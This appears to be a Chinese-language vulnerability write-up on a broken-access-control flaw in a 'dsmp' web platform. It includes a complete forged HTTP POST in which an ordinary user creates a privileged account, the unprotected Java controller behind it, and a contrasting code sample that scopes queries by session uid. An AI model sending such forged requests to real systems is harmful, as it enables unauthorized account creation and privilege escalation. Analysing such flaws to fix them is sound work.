打开网页客户端设置代理。用户test1为普通用户,无管理人员权限,下图为平台人机代理工具截图,test1正常情况下查看agent装置的信息,服务器为test1用户分配标识JSESSIONID= DD626CDAE3EFD226E4F136BCD47881FE,系统对用户登陆状态进行了校验,如果修改JSESSIONID系统会强制用户退出到登陆界面。如果普通用户猜到了管理员的请求路径和数据信息,发送越权请求数据—越权新增用户。尝试使用没有管理权限的test1用户,新建testallow账户。通过代理工具编写数据如下并发送:
POSThttps://192.168.1.130:8443/dsmp/globalUser/saveGlobalUser.do HTTP/1.1 Host: 192.168.1.130:8443 Connection: keep-alive Content-Length: 77 Accept: text/html, */*; q=0.01 Origin: https://192.168.1.130:8443 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) dsmp_electron_1.0/1.0.0Chrome/59.0.3071.115 Electron/1.8.1 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Referer:https://192.168.1.130:8443/dsmp/globalUser/toUserIndex.do Accept-Encoding: gzip, deflate Accept-Language: zh-CN Cookie: JSESSIONID=DD626CDAE3EFD226E4F136BCD47881FE id=&oldUserLevel=&username=testallow&usercount=testallow&pwd=admin123&userLevel=3
使用平台人机代理工具重新发送请求,从下图可以看到,平台服务器返回新增成功。
使用具备人员管理权限的用户登陆平台人机客户端查看用户列表,发现testallow用户被非法添加。
分析系统代码发现对应请求处理的代码。在实际业务中并未显示用户权限,也就用户只要拥有合法的session和正确的post数据,系统就会去执行相应操作,系统不限制用户权限。
@RequestMapping({"saveGlobalUser"}) public void saveGlobalUser(HttpServletRequest request, HttpServletResponse response, TGlobalUser user) throws IOException { String msg = ""; try { user.setPwd(MD5Util.getEncryption(user.getPwd())); user.setValidDate(getValidDate()); this.globalUserService.saveGlobalUser(user); msg = "新增成功"; } catch (Exception e) { msg = "新增失败"; e.printStackTrace(); } response.setCharacterEncoding("UTF-8"); response.getWriter().write(msg);}
项目通过对HttpSessionListener的sessionDestroyed的override实现对用户是否登陆进行判断
public void sessionDestroyed(HttpSessionEvent se) { HttpSession hs = se.getSession(); if (hs.getAttribute("usercount") != null) { System.out.println("监听Session失败"); HttpSession session = se.getSession(); WebApplicationContext ac = WebApplicationContextUtils.getRequiredWebApplicationContext(session.getServletContext()); AccountController account = (AccountController)ac.getBean(AccountController.class); account.exitLogin(hs.getAttribute("usercount")); } }
可以参照另外一个项目的代码,另外一个项目中,从session中获取userinfo并获取uid,并将其作为查询条件之一放入数据操作中,可以防止越权操作。
public void execute(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { HttpSession session = request.getSession(); //获取用户session request.setAttribute("i_nav_act", Integer.valueOf(2)); Map userInfo = (Map)session.getAttribute("userInfo"); //根据用户session查出用户信息userinfo String uid = ""; if (userInfo != null) { uid = userInfo.get("uid"); //在userinfo中提取用户信息中的uid } request.setAttribute("title", "资源浏览"); String id = request.getParameter("id"); String doc_id = ""; Map doc = null; if ((id != null) && (!"".equals(id))) { doc_id = id.trim(); Map docPram = new HashMap(); String ip = CommonUtils.getIpAddr(request); docPram.put("doc_id", doc_id); docPram.put("ip", ip); docPram.put("uid", uid); //将用户信息的uid作为查询条件之一,所以如果用户没有对应权限,是不能够查询到对应的信息 docPram.put("u_id", uid); doc = docShareService.getDocAllInfo(docPram); }